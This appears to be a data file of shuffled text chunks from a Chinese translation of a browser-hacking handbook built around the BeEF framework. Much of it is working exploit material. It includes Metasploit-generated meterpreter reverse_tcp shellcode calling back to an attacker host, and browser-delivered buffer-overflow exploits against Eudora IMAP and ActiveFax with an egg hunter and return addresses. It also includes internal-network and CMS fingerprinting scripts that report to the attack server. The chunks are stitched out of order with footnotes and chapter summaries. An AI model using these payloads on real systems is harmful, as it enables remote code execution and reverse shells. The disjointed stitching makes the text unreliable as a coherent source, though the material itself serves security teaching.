    {"text": "假设BeEF运行在browserhacker.com:3000上，而HTTP计算服务器套接字在端口2000上。 可以使用下面的JavaScript代码，计算后面的利用请求中要用到的HTTP首部大小： var beef_host = \"http://browserhacker.com\"; var beef_junk_port = 2000; var uri = \"http://\" + beef_host + \":\" + beef_junk_port + \"/\"; var xhr = new XMLHttpRequest(); xhr.open(\"POST\", uri, true); xhr.setRequestHeader(\"Content-Type\", \"text/plain\"); xhr.setRequestHeader('Accept','*/*'); xhr.setRequestHeader(\"Accept-Language\", \"en\"); xhr.send(\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" + \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"); 套接字接收到请求后，BeEF控制台就会给出如下消息： [18:56:06][*] [IPEC] Cross-origin XmlHttpRequest headers size - received from bind socket [imapeudora1]: 443 bytes. 这样BeEF服务器知道了跨域HTTP请求首部的确切大小。"},
    {"text": "以下Metasploit命令就可以为你生成Shellcode payload： msf payload(reverse_tcp) > use payload/windows/meterpreter/reverse_tcp msf payload(reverse_tcp) > set LHOST 172.16.37.1 LHOST => 172.16.37.1 msf payload(reverse_tcp) > set LPORT 9999 LPORT => 9999 msf payload(reverse_tcp) > generate -b \"\\x00\\x0a\\x0d\\x20\\x7b\" # windows/meterpreter/reverse_tcp - 317 bytes (stage 1) # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LHOST=172.16.37.1, LPORT=9999, buf = \"\\xda\\xdf\\xd9\\x74\\x24\\xf4\\xbe\\xba\\xeb\\xc6\\xfc\\x5a\\x29\\xc9\" + \"\\xb1\\x49\\x83\\xea\\xfc\\x31\\x72\\x15\\x03\\x72\\x15\\x58\\x1e\\x3a\" + \"\\x14\\x15\\xe1\\xc3\\xe5\\x45\\x6b\\x26\\xd4\\x57\\x0f\\x22\\x45\\x67\" + \"\\x5b\\x66\\x66\\x0c\\x09\\x93\\xfd\\x60\\x86\\x94\\xb6\\xce\\xf0\\x9b\" + \"\\x47\\xff\\x3c\\x77\\x8b\\x9e\\xc0\\x8a\\xd8\\x40\\xf8\\x44\\x2d\\x81\" + \"\\x3d\\xb8\\xde\\xd3\\x96\\xb6\\x4d\\xc3\\x93\\x8b\\x4d\\xe2\\x73\\x80\" + \"\\xee\\x9c\\xf6\\x57\\x9a\\x16\\xf8\\x87\\x33\\x2d\\xb2\\x3f\\x3f\\x69\" + \"\\x63\\x41\\xec\\x6a\\x5f\\x08\\x99\\x58\\x2b\\x8b\\x4b\\x91\\xd4\\xbd\" + \"\\xb3\\x7d\\xeb\\x71\\x3e\\x7c\\x2b\\xb5\\xa1\\x0b\\x47\\xc5\\x5c\\x0b\" + \"\\x9c\\xb7\\xba\\x9e\\x01\\x1f\\x48\\x38\\xe2\\xa1\\x9d\\xde\\x61\\xad\" + \"\\x6a\\x95\\x2e\\xb2\\x6d\\x7a\\x45\\xce\\xe6\\x7d\\x8a\\x46\\xbc\\x59\" + \"\\x0e\\x02\\x66\\xc0\\x17\\xee\\xc9\\xfd\\x48\\x56\\xb5\\x5b\\x02\\x75\" + \"\\xa2\\xdd\\x49\\x12\\x07\\xd3\\x71\\xe2\\x0f\\x64\\x01\\xd0\\x90\\xde\" + \"\\x8d\\x58\\x58\\xf8\\x4a\\x9e\\x73\\xbc\\xc5\\x61\\x7c\\xbc\\xcc\\xa5\" + \"\\x28\\xec\\x66\\x0f\\x51\\x67\\x77\\xb0\\x84\\x27\\x27\\x1e\\x77\\x87\" + \"\\x97\\xde\\x27\\x6f\\xf2\\xd0\\x18\\x8f\\xfd\\x3a\\x31\\x25\\x07\\xad\" + \"\\x92\\xa9\\x22\\x2c\\x83\\xcb\\x2c\\x09\\x5c\\x42\\xca\\x3f\\x72\\x02\" + \"\\x44\\xa8\\xeb\\x0f\\x1e\\x49\\xf3\\x9a\\x5a\\x49\\x7f\\x28\\x9a\\x04\" + \"\\x88\\x45\\x88\\xf1\\x78\\x10\\xf2\\x54\\x86\\x8f\\x99\\x58\\x12\\x2b\" + \"\\x08\\x0e\\x8a\\x31\\x6d\\x78\\x15\\xca\\x58\\xf2\\x9c\\x5e\\x23\\x6d\" + \"\\xe1\\x8e\\xa3\\x6d\\xb7\\xc4\\xa3\\x05\\x6f\\xbc\\xf7\\x30\\x70\\x69\" + \"\\x64\\xe9\\xe5\\x91\\xdd\\x5d\\xad\\xf9\\xe3\\xb8\\x99\\xa6\\x1c\\xef\" + \"\\x1b\\x9b\\xca\\xd6\\x99\\xed\\x78\\x3b\\x62\" 根据之前计算的HTTP首部，需要考虑的字节是426字节。"},
    {"text": "可以使用以下JavaScript代码，将Stager发送给目标IMAP服务，当然首先得计算出总共可用的空间和HTTP首部的大小： var stager = \"B33FB33F\" + \"\\xda\\xdf\\xd9\\x74\\x24\\xf4\\xbe\\xba\\xeb\\xc6\\xfc\\x5a\\x29\\xc9\" + \"\\xb1\\x49\\x83\\xea\\xfc\\x31\\x72\\x15\\x03\\x72\\x15\\x58\\x1e\\x3a\" + \"\\x14\\x15\\xe1\\xc3\\xe5\\x45\\x6b\\x26\\xd4\\x57\\x0f\\x22\\x45\\x67\" + \"\\x5b\\x66\\x66\\x0c\\x09\\x93\\xfd\\x60\\x86\\x94\\xb6\\xce\\xf0\\x9b\" + \"\\x47\\xff\\x3c\\x77\\x8b\\x9e\\xc0\\x8a\\xd8\\x40\\xf8\\x44\\x2d\\x81\" + \"\\x3d\\xb8\\xde\\xd3\\x96\\xb6\\x4d\\xc3\\x93\\x8b\\x4d\\xe2\\x73\\x80\" + \"\\xee\\x9c\\xf6\\x57\\x9a\\x16\\xf8\\x87\\x33\\x2d\\xb2\\x3f\\x3f\\x69\" + \"\\x63\\x41\\xec\\x6a\\x5f\\x08\\x99\\x58\\x2b\\x8b\\x4b\\x91\\xd4\\xbd\" + \"\\xb3\\x7d\\xeb\\x71\\x3e\\x7c\\x2b\\xb5\\xa1\\x0b\\x47\\xc5\\x5c\\x0b\" + \"\\x9c\\xb7\\xba\\x9e\\x01\\x1f\\x48\\x38\\xe2\\xa1\\x9d\\xde\\x61\\xad\" + \"\\x6a\\x95\\x2e\\xb2\\x6d\\x7a\\x45\\xce\\xe6\\x7d\\x8a\\x46\\xbc\\x59\" + \"\\x0e\\x02\\x66\\xc0\\x17\\xee\\xc9\\xfd\\x48\\x56\\xb5\\x5b\\x02\\x75\" + \"\\xa2\\xdd\\x49\\x12\\x07\\xd3\\x71\\xe2\\x0f\\x64\\x01\\xd0\\x90\\xde\" + \"\\x8d\\x58\\x58\\xf8\\x4a\\x9e\\x73\\xbc\\xc5\\x61\\x7c\\xbc\\xcc\\xa5\" + \"\\x28\\xec\\x66\\x0f\\x51\\x67\\x77\\xb0\\x84\\x27\\x27\\x1e\\x77\\x87\" + \"\\x97\\xde\\x27\\x6f\\xf2\\xd0\\x18\\x8f\\xfd\\x3a\\x31\\x25\\x07\\xad\" + \"\\x92\\xa9\\x22\\x2c\\x83\\xcb\\x2c\\x09\\x5c\\x42\\xca\\x3f\\x72\\x02\" + \"\\x44\\xa8\\xeb\\x0f\\x1e\\x49\\xf3\\x9a\\x5a\\x49\\x7f\\x28\\x9a\\x04\" + \"\\x88\\x45\\x88\\xf1\\x78\\x10\\xf2\\x54\\x86\\x8f\\x99\\x58\\x12\\x2b\" + \"\\x08\\x0e\\x8a\\x31\\x6d\\x78\\x15\\xca\\x58\\xf2\\x9c\\x5e\\x23\\x6d\" + \"\\xe1\\x8e\\xa3\\x6d\\xb7\\xc4\\xa3\\x05\\x6f\\xbc\\xf7\\x30\\x70\\x69\" + \"\\x64\\xe9\\xe5\\x91\\xdd\\x5d\\xad\\xf9\\xe3\\xb8\\x99\\xa6\\x1c\\xef\" + \"\\x1b\\x9b\\xca\\xd6\\x99\\xed\\x78\\x3b\\x62\"; /* * Egg Hunter (Skape's NtDisplayString technique). * Original size: 32 bytes */ var egg_hunter = \"\\x66\\x81\\xca\\xff\\x0f\\x42\\x52\\x6a\\x02\\x58\\xcd\\x2e\\x3c\\x05\\x5a\\x74\" + \"\\xef\\xb8\\x42\\x33\\x33\\x46\\x8b\\xfa\\xaf\\x75\\xea\\xaf\\x75\\xe7\\xff\\xe7\"; var next_seh = \"\\xeb\\x06\\x90\\x90\"; var seh = \"\\x4e\\x3b\\x01\\x10\"; // POP ECX mailcmn.dll gen_nops = function(count){ var i = 0; var result = \"\"; while(i < count ){ result += \"\\x90\";i++;} log(\"gen_nops: generated \" + result.length + \" nops.\"); return result; }; var available_space = 769; var headers_size = 423; // 要生成的NOP字节数 var junk = available_space - stager.length - headers_size; var junk_data = gen_nops(junk); // 最后的shellcode var payload = junk_data + stager + next_seh + seh + egg_hunter; var url = \"http://172.16.37.151:143/\"; var xhr = new XMLHttpRequest(); // 为了基于WebKit的浏览器 if (!XMLHttpRequest.prototype.sendAsBinary) { XMLHttpRequest.prototype.sendAsBinary = function (sData) { var nBytes = sData.length, ui8Data = new Uint8Array(nBytes); for (var nIdx = 0; nIdx < nBytes; nIdx++) { ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff; } /* send as ArrayBufferView...: */ this.send(ui8Data); }; } xhr.open(\"POST\", url, true); xhr.setRequestHeader(\"Content-Type\", \"text/plain\"); xhr.setRequestHeader('Accept','*/*'); xhr.setRequestHeader(\"Accept-Language\", \"en\"); var post_body = \"a001 LIST \" + \"}\" + payload + \"}\" + \"\\r\\n\"; xhr.sendAsBinary(post_body); 运行以上代码，一个POST请求就会被发送到有漏洞的Eudora IMAP服务监听的172.16.37. 151:143端口，如图10-21所示。"},
    {"text": "43 Craig Freyman. (2013). ActiveFax raw server exploit . Retrieved October 29, 2013 from http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html ActiveFax可以让用户使用LPD、RAW和FTP协议发送和接收传真。"},
    {"text": "44 ActFax. (2013). ActiveFax manual . Retrieved October 29, 2013 from http://www.actfax.com/download/actfax_manual_en.pdf 缓冲区溢出的条件存在于 @F506 命令，该命令负责以特定文件格式和分辨率输出传真。"},
    {"text": "下面的代码可以在勾连浏览器中运行，运行后会将Meterpreter Stager注入内存，从而利用我们说的缓冲区溢出漏洞： var target = \"http://172.16.37.151\"; var port = 3000; var xhr = null; // Meterpreter reverse_tcp stager // 回连172.16.37.1:4444 // 以x86/alpha_mixed编码 var stager = \"\\x89\\xe2\\xda[...snip...]\"; // jmp esp in ole32.dll - Win XP SP3 English var eip = '\\x77\\x9c\\x55\\x77'; // 对齐栈 var adjust = '\\x81\\xc4\\x24\\xfa\\xff\\xff'; var shellcode_chunk_1 = stager.slice(0,554); var shellcode_chunk_2 = stager.slice(554, stager.length); function genJunk(c, length){ var temp = \"\"; for(var i=0;i<length;i++){ temp += c; } return temp; } var fill = genJunk(\"\\x42\", (1024 - shellcode_chunk_2.length)); function sendRequest(port, data){ xhr = new XMLHttpRequest(); // 对WebKit浏览器 var url = target + \":\"+ port; if (!XMLHttpRequest.prototype.sendAsBinary) { XMLHttpRequest.prototype.sendAsBinary = function (sData) { var nBytes = sData.length, ui8Data = new Uint8Array(nBytes); for (var nIdx = 0; nIdx < nBytes; nIdx++) { ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff; } /* 发送ArrayBufferView...: */ this.send(ui8Data); }; } xhr.open(\"POST\", url, true); xhr.setRequestHeader(\"Content-Type\", \"text/plain\"); xhr.setRequestHeader('Accept','*/*'); xhr.setRequestHeader(\"Accept-Language\", \"en\"); xhr.sendAsBinary(data); } // 最终的利用代码 var payload = shellcode_chunk_2 + fill + eip + adjust + shellcode_chunk_1; var stager_request = \"@F506 \" + payload + \"@\\r\\n\\r\\n\"; sendRequest(port, stager_request); setTimeout(function(){ xhr.abort(); }, 2000); RAW服务器默认的套接字超时为60秒，而Shellcode只能在连接断开时执行。"},
    {"text": "45 Mozilla. (2013). XMLHttpRequest abort() method . Retrieved October 29, 2013 from https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest?redirectlocale=en-US&redirectslug=DOM%2FXMLHttpRequest#abort() 运行前面代码的结果如图10-23所示。"},
    {"text": "举个例子，如果在前面ActiveFax的代码示例中，由于目标不是XP SP3 English，我们要修改 ole32.dll 中的指令 JMP ESP ，那就可以用Mona。 只要把Immunity Debugger附加到ActiveFax，然后执行命令 !mona jmp -r esp 就行了，产生的结果如下所示（第一个地址在利用的例子中用过）： 0x77559c77 : jmp esp | {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:\\WINDOWS\\system32\\ole32.dll) 0x7755a9a8 : jmp esp | {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:\\WINDOWS\\system32\\ole32.dll) Mona还有非常丰富的功能，包括半自动的Metasploit模板生成器。"},
    {"text": "46 Corelan Team. (2013). Mona . Retrieved October 29, 2013 from http://redmine.corelan.be/projects/mona 前面的例子使用的都是在/etc/hosts/中映射到172.16.37.1的browserhacker.com，因为为了演示，我们使用了VMware虚拟机。"},
    {"text": "内网外出流量过滤系统可能会检测并过滤从内网服务器到外部互联网主机的请求，而警惕的系统管理员也会对那些并非从内部到内部，而是从内部到一个未知外部系统的通信睁大眼睛。"},
    {"text": "更常见的情况是，希望维持自己安全形象的厂商却无力修复浏览器的问题。 修复浏览器的安全bug常常被开发者排在最低优先级，这与安全社区的期望恰恰相反。"},
    {"text": "15 Mozilla. (2013). Firefox Notes - Desktop . Retrieved December 15, 2013 from http://www.mozilla.org/en-US/firefox/18.0/releasenotes/ 16 Mozilla. (2013). 62178 - implement mechanism to prevent sending insecure requests from a secure context . Retrieved December 15, 2013 from https://bugzilla.mozilla.org/show_bug.cgi?id=62178 从终端用户对浏览器安全升级没有发言权这一点来说，浏览器与其他软件也没有什么差别。"},
    {"text": "17 Thomas Duebendorfer and Stefan Frei. (2009). Why Silent Updates Boost Security . Retrieved December 15, 2013 from http://research.google.com/pubs/pub35246.html 这方面一个明显的例子，就是谷歌在Chrome中部署自己的PDF渲染引擎取代Adobe Reader。"},
    {"text": "这样所有组织的安全团队都不得不在某种程度上依赖浏览器的开发者，而在浏览器开发者对终端用户组织的需求还不够关注的情况下，这种依赖着实令人懊恼。"},
    {"text": "但扩展可以影响浏览器加载的每一个页面，反过来，每个页面又会影响扩展。 每个扩展都可能成为攻击者的目标，因而它们会增大浏览器的攻击面。 有时候，常见的XSS隐患也会通过扩展进入浏览器。"},
    {"text": "1.4.2 放弃控制 浏览器从互联网上的任意地点请求指令，其主要功能是把内容呈现于屏幕之上，为用户与内容交互提供界面，而且会严格按照作者设计的方式呈现。"},
    {"text": "1.4.4 加密通信 为了保证加密信息的完整性和机密性，可以使用SSL和TLS与受信任的组织通信，而同样的技术也可以用于与攻击者进行安全的通信。"},
    {"text": "18 Andrew Gregory. (2008). Andrew Gregory - The Myth of the Robustness Principle . Retrieved December 15, 2013 from http://my.opera.com/AndrewGregoryScss/blog/2008/05/27/the-myth-of-the-robustness-principle http://my.opera.com/Andrew%20Gregory/blog/2008/05/27/the-myth-of-the-robustness-principle 浏览器对自己要渲染的内容是极其开放的。"},
    {"text": "首先，就是要有需要检测的一组目标IP，比如： ips = [ '192.168.0.1', '192.168.0.100', '192.168.0.254', '192.168.1.1', '192.168.1.100', '192.168.1.254', '10.0.0.1', '10.1.1.1', '192.168.2.1', '192.168.2.254', '192.168.100.1', '192.168.100.254', '192.168.123.1', '192.168.123.254', '192.168.10.1', '192.168.10.254' ]; 这个例子中给出的都是局域网中的私有IP。"},
    {"text": "指纹采集数据库类似这样： var fingerprint_data = new Array( new Array( \"JBoss Application server\", \"8080\",\"http\",true, \"/images/logo.gif\",226,105), new Array( \"VMware ESXi Server\", \"80\",\"http\",false, \"/background.jpeg\",1,1100), new Array( \"Glassfish Server\", \"4848\",\"http\",false, \"/theme/com/sun/webui/jsf/suntheme \\ /images/login/gradlogsides.jpg\", 1, 200), new Array( \"m0n0wall\", \"80\",\"http\",false, \"/logo.gif\",150,47) ); 这个fingerprint_data数据结构中的每个数组元素，都包含域名、端口和协议类型，可用于请求图片路径，最后是图片的宽度和高度值。 如果你想知道更完整的（但并不是最完整的）指纹采集数据库，可以看看BeEF的internal_network_fingerprinter模块，这里顺便感谢Brendan Coles为此付出的心血 4 。"},
    {"text": "4 BeEF Project. (2012). Internal Network Fingerprinter . Retrieved October 8, 2013 from https://github.com/beefproject/beef/tree/master/modules/network/internal_network_fingerprinting 有了IP，也有了图片，就可以把下面的JavaScript代码注入勾连浏览器的DOM了。 这段代码会检查上面的IP（或者你指定的其他IP）是否在运行具有fingerprint_data中某个特征的Web应用： var dom = document.createElement('b'); // 每个IP for(var i=0; i < ips.length; i++) { // 数据集中的每个应用 for(var u=0; u < fingerprint_data.length; u++) { var img = new Image; img.id = u; img.src = fingerprint_data[u][2]+\"://\"+ips[i] +\":\"+fingerprint_data[u][1]+ fingerprint_data[u][4]; // 触发onload事件，找到图片 img.onload = function() { // 再次检查宽度和高度 if (this.width == fingerprint_data[this.id][5] && this.height == fingerprint_data[this.id][6]) { console.log(\"Detecting [\" + fingerprint_data[this.id][0] + \"] at IP [\" + ips[i] + \"]\"); // 通知BeEF服务器 beef.net.send('<%= @command_url %>', <%= @command_id %>, 'discovered='+escape(fingerprint_data[this.id][0])+ \"&url=\"+escape(this.src) ); // 完工，从DOM中删除图片 dom.removeChild(this); } } // 将图片添加到DOM dom.appendChild(img); }} 前面的代码运行后，会尝试将所有资源加载到各自的内嵌框架。"},
    {"text": "图 9-3 找到了VMware ESXi服务器 2. 请求页面 很多CMS和一般Web应用的指纹采集工具都有一个大型的数据库，其中包含CMS的类型、版本、主题和插件信息。"},
    {"text": "5 Chris Sullo. (2010). CMS Explorer . Retrieved June 15, 2013 from http://code.google.com/p/cms-explorer/ 要检测某个应用是否存在特定的路径，比如modules/filebrowser/，可以采用与之前检测图片类似的方法。"},
    {"text": "比如可以使用下面的脚本： var target = \"http://172.16.37.147\"; /* 要检查的资源（名称，路径）*/ var resources = [ [\"Drupal - FileBrowser\",\"modules/filebrowser/\"], [\"Drupal - FFmpeg\", \"modules/ffmpeg/\"], [\"WordPress - AccessLogs\", \"wp-content/plugins/access-logs/\"] ]; /* 上层路径（/或/drupal）*/ var paths = [\"/\", \"/drupal/\"]; function add_tag(src){ for(var p=0; p < paths.length; p++) { // 对每个上层路径，创建最终的URI var uri = target + paths[p] + src; var i = document.createElement('script'); i.src = uri; i.style.display = 'none'; i.onload = function(){ console.log(uri + \" -- FOUND\"); }; i.onerror = function(){ console.log(uri + \" -- NOT-FOUND\"); }; document.body.appendChild(i); } } /* 对每个待检查的资源，添加新的script标签*/ for(var c=0; c < resources.length; c++) { add_tag(resources[c][1]); } 你都看到了，这里没有使用 img 标签，而是使用了 script 标签。"},
    {"text": "6 Sky. (2012). Sagem router firmware . Retrieved October 8, 2013 from http://www.skyuser.co.uk/skyinfo/the_sagem_f_st_2504_router_gets_a_new_fw.html 与很多类似的设备一样，这款路由器可以通过http://192.168.0.1:80这样的URL访问到，而且对外暴露了JavaScript文件和图片可供我们验证。"},
    {"text": "可以使用以下代码来识别Sagemcom路由器： // 默认的路由器IP var target = \"192.168.0.1\"; // 默认的路由器图片 var fingerprint_data = new Array( new Array( \"Sky Sagemcom Router\", \"80\",\"http\",true, \"/sky_images/arrows.gif\",8,16), new Array( \"Sky Sagemcom Router\", \"80\",\"http\",true, \"/sky_images/icons-broadband.jpg\",43,53) ); var dom = document.createElement('b'); for(var u=0; u < fingerprint_data.length; u++) { var img = new Image; img.id = u; img.src = fingerprint_data[u][2]+\"://\"+target +\":\"+fingerprint_data[u][1]+ fingerprint_data[u][4]; // 触发onload事件，找到了图片 img.onload = function() { // 再次检查宽度和高度 if(this.width == fingerprint_data[this.id][5] && this.height == fingerprint_data[this.id][6]){ console.log(\"Found \" + fingerprint_data[this.id][4] + \" -> \" + fingerprint_data[this.id][0]); // 完工，从DOM中删除图片 dom.removeChild(this); } } // 将图片添加到DOM dom.appendChild(img); } 运行前面代码的结果如图9-5所示，确认了可以通过http://192.168.0.1:80访问Sagemcom路由器。"},
    {"text": "7 Gareth Heyes. (2007). JS Lan Scanner . Retrieved October 8, 2013 from http://code.google.com/p/jslanscanner/source/browse/trunk/lan_scan/js/lan_scan.js 成功发现并确认了路由器之后，接下来就要访问设备。"},
    {"text": "Unknown 第 1 章 浏览器安全概述 天生低调的浏览器却肩负着保护用户安全的重任。浏览器的工作机制，就是向整个互联网请求指令，请求到以后几乎不加任何质疑地去执行。浏览器之所以为浏览器，就是要忠实地汇聚远程获取的内容，把它们组织成人类可以辨识的形式，同时还要支持今天所谓的Web 2.0应有的丰富功能。 但是作为一款软件，浏览器又是如此重要：它不仅要帮你维护社交网络，还要替你完成在线银行的交易。这个软件有义务保证你在网络世界中的安全，无论你冒险闯入的是什么胡同街巷。这个软件有义务支持你在一个标签页里不知深浅的探险，同时又在另一个标签页里进行重大涉密交易。很多人把自己的浏览器当成装甲车，认为自己能坐在里面安全舒适地观察外面的世界，而不用担心泄漏任何个人隐私，或者遭受任何威胁。等把这本书全看完，你就会明白这个假设是否成立了。 这款“无所不能”的神奇软件的开发团队，必须确保其庞大身躯的每个角落、每道接缝，都不给黑客留下可乘之机。不管你是否这么想过，实际上你每次使用浏览器，都默认信任了从未谋面（很可能这辈子永远也不会见面）的一群人，相信这群人能够保障你的重要信息不会被互联网上的黑客窃取。 本章介绍Web浏览器攻防相关的方法论。我们会讨论浏览器在Web生态系统中扮演的角色，包括它与Web服务器之间的互动关系。此外，本章还会介绍一些浏览器安全基础知识，为本书后续各章的内容提供脉络。 Unknown 第 6 章 攻击浏览器 浏览器如今作为一个门户，每天都有数不清的人在使用。通过它联系朋友，通过它为在线游戏中的庄稼浇水，通过它上网购物，通过它管理自己的银行账号，通过它娱乐，通过它获取信息。浏览器已经远远不再是一个查看网页的工具了，它已经成为帮助我们运行其他应用的应用。 过去，浏览器成为主要的攻击目标是因为它想支持的众多功能 1 。从安全角度看，浏览器走过了一段非常长的路。如今的浏览器都把安全作为一个重要特性，比如图6-1所示的Firefox。 1 Eric Cole. (2009). Network Security Bible, 2nd Edition . Retrieved August 12, 2013 from http://eu.wiley.com/WileyCDA/WileyTitle/productCd-0470502495.html 图 6-1 Firefox：快速、灵活、安全 但这并不意味着攻击者会放过浏览器。事实刚好相反。攻击者（以及安全研究者）投入了大量的时间和精力攻击Web浏览器。甚至都有专门的公开比赛，用丰厚的奖金鼓励人们去发现新颖的方式以攻击最新版本的浏览器 2 。有些浏览器厂商还会设立bug奖金或现金大奖，颁发给那些发现浏览器漏洞的人 3 。 2 Wikipedia. (2013). Pwn2Own . Retrieved August 12, 2013 from http://en.wikipedia.org/wiki/Pwn2Own 3 Google. (2010). Program Rules—Application Security . Retrieved August 12, 2013 from http://www.google.com/about/appsecurity/reward-program/ 浏览器从桌面到移动端的延伸，令其更加成为众矢之的。我们生在一个万物互联的时代，漫步街头，总能看到人们拿着手机，聊着Twitter，拍着Instagram，通过分享、发帖、评论、留言来表达心情或讨论问题，甚至只是消磨时光，在无边无限的互联网之海中畅游。 随着人们口袋里的设备能够访问的站点和服务越来越多，他们对设备的信任感也与日俱增。在线银行和在线购物是完全互联网化的两个主要领域。令人惊奇的是，移动在线商务，特别是手机银行，居然最早出现在非洲的发展中国家 4 。2011年 5 ，手机银行系统在非洲、亚太地区和拉丁美洲爆发，其中非洲份额居然占到当时系统总量的30%。 4 Jonathan Greenacre. (2012). Say goodbye to the branch—the future for banking is upwardly mobile . Retrieved August 12, 2013 from http://theconversation.edu.au/say-goodbye-to-the-branch-the-future-for-banking-is-upwardly-obile-10191 5 Michael Klein and Colin Mayer. (2011). Mobile Banking and Financial Inclusion—The Regulatory Lessons . Retrieved August 12, 2013 from http://www-wds.worldbank.org/servlet/WDSContentServer/WDSP/IB/2011/05/18/000158349_20110518143113/Rendered/PDF/WPS5664.pdf 本章将探讨如何直接攻击浏览器，也就是利用浏览器自身的漏洞，不管它安装了什么扩展或插件。具体来说，我们会探讨采集浏览器指纹、攻击会话和cookie、HTTPS攻击，以及其他利用浏览器漏洞的高级技术。 Unknown 祝你好运 浏览器安全是互联网上升级最快的军备竞赛之一。对所有关注安全的人来说，它都是一个迷人而又有趣的领域。这个军备竞赛升级的步伐之所以慢不下来，主要是因为各种公司日益依赖浏览器去做越来越多的事。 我们注意到，大大小小的公司越来越认为不应该在桌面计算机中运行一个独立的软件。而任何预测浏览器将逐渐没落的人，都应该好好地清醒清醒，因为他们可能还在使用着隐患多多的Java插件呢！ 浏览器军备竞赛和商业公司对它的广泛应用，使得浏览器的攻击面不断变化，而来自安全的挑战从未绝迹。现在，我们就准备大干一场，看看黑客如何攻击浏览器，而我们又应该如何加强防御！"},
    {"text": "先运行如下Ruby代码，准备好在服务器上处理POST和GET请求： require 'rubygems' require 'thin' require 'rack' require 'sinatra' class XhrHandler < Sinatra::Base post \"/\" do puts \"POST from [#{request.user_agent}]\" params.each do |key,value| puts \"POST body [#{key}->#{value}]\" end p \"[+] Content-Type [#{request.content_type}]\" p \"[+] Body [#{request.body.read}]\" # p \"Raw request:\\n #{request.env.to_s}\" end get \"/\" do puts \"GET from [#{request.user_agent}]\" params.each do |key,value| puts \"[+] Request params [#{key} -> #{value}]\" end end options \"/\" do puts \"OPTIONS from [#{request.user_agent}]\" puts \"[+] The preflight was triggered\" end end @routes = { \"/xhr\" => XhrHandler.new } @rack_app = Rack::URLMap.new(@routes) @thin = Thin::Server.new(\"browserhacker.com\", 4000, @rack_app) Thin::Logging.silent = true Thin::Logging.debug = false puts \"[#{Time.now}] Thin ready\" @thin.start 这些代码依赖一些常见的Ruby库才能运行。"},
    {"text": "接下来需要在浏览器控制台中运行如下JavaScript脚本，该脚本会尝试和监听服务器通信： var uri = \"http://browserhacker.com\"; var port = 4000; xhr = new XMLHttpRequest(); xhr.open(\"GET\", uri + \":\" + port + \"/xhr?param=value\", true); xhr.send(); xhr = new XMLHttpRequest(); xhr.open(\"POST\", uri + \":\" + port + \"/xhr\", true); xhr.setRequestHeader(\"Content-Type\", \"text/plain\"); xhr.setRequestHeader('Accept','*/*'); xhr.setRequestHeader(\"Accept-Language\", \"en\"); xhr.send(\"a001 LIST \\r\\n\"); 两个请求都发送到browserhacker.com:4000。"},
    {"text": "在Chrome中测试之后，可以看到如下输出： $ ruby XMLHttpRequest-test-server.rb [2013-07-07 20:05:42 +1000] Thin ready POST from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/53 7.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36] \"[+] Content-Type [text/plain]\" \"[+] Body [a001 LIST \\r\\n]\" GET from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36] [+] Request params [param -> value] 浏览器以及版本不同，输出的内容也可能有差异。"},
    {"text": "1 Mozilla Developer Network. (2013). HTTP access control (CORS) . Retrieved June 15, 2013 from https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS 如果CORS请求没有使用 简单方法 2 或 简单首部 3 ，就会发送前置请求。"},
    {"text": "2 W3C. (2013). Cross-origin Resource sharing Terminology . Retrieved June 15, 2013 from http://www.w3.org/TR/cors/#simple-method 3 W3C. (2013). Cross-origin Resource sharing Terminology . Retrieved June 15, 2013 from http://www.w3.org/TR/cors/#simple-header 前面的JavaScript XMLHttpRequest 代码故意使用了 text/plain 内容类型，以触发更复杂的浏览器CORS逻辑。"},
    {"text": "Unknown 9.11 小结 本章介绍了可以通过勾连浏览器对Web应用发起的各类攻击，其中很多是跨域执行而又不违反SOP的。如果你是一个攻击者，掌握这些技术之后，就可以进一步伪装隐蔽自己，并访问那些位于内部网中不能路由到的Web应用。 我们还讨论了如何识别和利用跨域漏洞，包括RCE、SQL注入和XSS攻击。 经过学习，相信大家已经知道了怎么通过（跨域发现的）XSS漏洞勾连目标源，进而扩大自己能够控制的攻击面。有了勾连之后，就可以通过Tunneling Proxy访问这个刚被控制的源，从而可能利用到认证会话，并绕过一些使用HttpOnly的防御措施。Burp和Sqlmap等标准的安全工具，也可以使用Tunneling Proxy通过勾连浏览器发送请求。 这一章还展示了能够跨域发起标准的Web应用攻击。这些攻击可以利用内部网设备中的RCE漏洞。 下一章，我们继续围绕内部网中的勾连浏览器展开讨论。但攻击目标是一些非Web服务，使用的方法涉及内部协议通信与利用等。 Unknown 3.5 小结 在本章中，我们认识到了持续控制是攻击浏览器的前提。建立通信渠道并且持久化控制，对于成功征服目标而言至关重要。 这一章展示了很多实现通信和持久化的技术，至于选择使用哪个或哪些方法则取决于你，主要还是看效果。一种可能的方案是在与浏览器通信时，可以使用标准的 XMLHttpRequest 通信渠道，而后在支持的情况下再自动升级到WebSocket协议。更进一步，可以利用内嵌框架和底层弹出窗口，实现持久化的目标。最佳选择还是要看具体的攻击环境。 保持对目标浏览器的控制，让我们有机会将不同的攻击代码模块化，同时实时作出决定。这样才能进入所谓的攻击反馈循环。某个特定的操作可能会导致一个问题，而对这个问题的深入研究又会暴露更多问题。利用这种方法，你可以选择作出不同的决定。比如，你可以找到目标浏览器本地网络中所有活动的主机，然后选择只扫描它们的端口。 此外，本章还探讨了各种降低你的指令被过滤掉的可能性的技术。使用这些方法会让简单的手工分析更加困难。当然，这些方法的有效性还要看你使用了什么模糊技术，以及目标使用了什么防护技术。 在掌握了各种可用于持续控制目标浏览器的技术后，你该知道怎么利用浏览器的功能对其自身发起攻击了。接下来的几章将聚焦在攻击浏览器上面。 Unknown 8.4 小结 